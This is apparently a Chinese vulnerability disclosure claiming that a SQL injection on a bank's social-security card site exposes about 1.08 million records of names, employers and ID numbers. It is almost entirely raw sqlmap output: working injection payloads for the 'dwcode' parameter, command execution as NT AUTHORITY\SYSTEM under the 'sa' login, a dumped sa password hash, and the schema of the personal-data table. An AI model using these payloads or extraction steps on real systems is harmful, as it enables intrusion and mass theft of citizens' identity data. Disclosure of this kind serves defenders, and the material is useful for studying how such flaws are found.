药都银行社保网站某处漏洞(SA权限)直接导致上百万(1078442)社保卡信息泄露(单位名、姓名、身份证)

sqlmap identified the following injection points with a total of 0 HTTP(s) reque
 sts:
 ---
 Place: GET
 Parameter: dwcode
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
     Payload: dwcode=' AND 8199=CONVERT(INT,(CHAR(58) CHAR(98) CHAR(105) CHAR(120
 ) CHAR(58) (SELECT (CASE WHEN (8199=8199) THEN CHAR(49) ELSE CHAR(48) END)) CHAR
 (58) CHAR(113) CHAR(113) CHAR(106) CHAR(58))) AND 'emiL'='emiL
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 4 columns
     Payload: dwcode=' UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(98) CHAR(105) CHA
 R(120) CHAR(58) CHAR(65) CHAR(102) CHAR(119) CHAR(71) CHAR(84) CHAR(76) CHAR(73)
  CHAR(84) CHAR(71) CHAR(81) CHAR(58) CHAR(113) CHAR(113) CHAR(106) CHAR(58),NULL
 --
 
     Type: stacked queries
     Title: Microsoft SQL Server/Sybase stacked queries
     Payload: dwcode='; WAITFOR DELAY '0:0:5'--
 
     Type: AND/OR time-based blind
     Title: Microsoft SQL Server/Sybase time-based blind
     Payload: dwcode=' WAITFOR DELAY '0:0:5'--
 ---
 [22:53:00] [INFO] the back-end DBMS is Microsoft SQL Server
 web server operating system: Windows 2003
 web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
 back-end DBMS: Microsoft SQL Server 2005
 
 available databases [6]:
 [*] master
 [*] model
 [*] msdb
 [*] tempdb
 [*] webshebao
 [*] zwcrm
 
 
 current user:    'sa'
 
 [23:10:57] [INFO] retrieved: "nt authority////system"
 command standard output [1]:
 [*] nt authority/system
 
 
 
 
 D:/YCCB_WORK/社保卡发放小秘书/NongJin/HongZhi.Pro.Bank.Web.NongJin/CLASS/DAL/CARD_DAL.cs:150
 
 database management system users password hashes:
 [*] sa [1]:
     password hash: 0x01004086ceb618b79b04cd0e09daaf6c1290848db4372d779541
         header: 0x0100
         salt: 4086ceb6
         mixedcase: 18b79b04cd0e09daaf6c1290848db4372d779541
 
 
 current database:    'webshebao'

Database: webshebao
 [2 tables]
 +-------+
 | CARDS |
 | LX    |
 +-------+
 
 
 Database: webshebao
 +-----------+---------+
 | Table     | Entries |
 +-----------+---------+
 | dbo.CARDS | 1078442 |   单位名、姓名、身份证
 | dbo.LX    | 50      |
 +-----------+---------+
 
 Database: webshebao
 Table: CARDS
 [6 columns]
 +--------------+----------+
 | Column       | Type     |
 +--------------+----------+
 | dwname       | nvarchar |
 | ID           | int      |
 | name         | nvarchar |
 | shenfenzheng | nvarchar |
 | shoulicode   | nvarchar |
 | state        | nvarchar |
 +--------------+----------+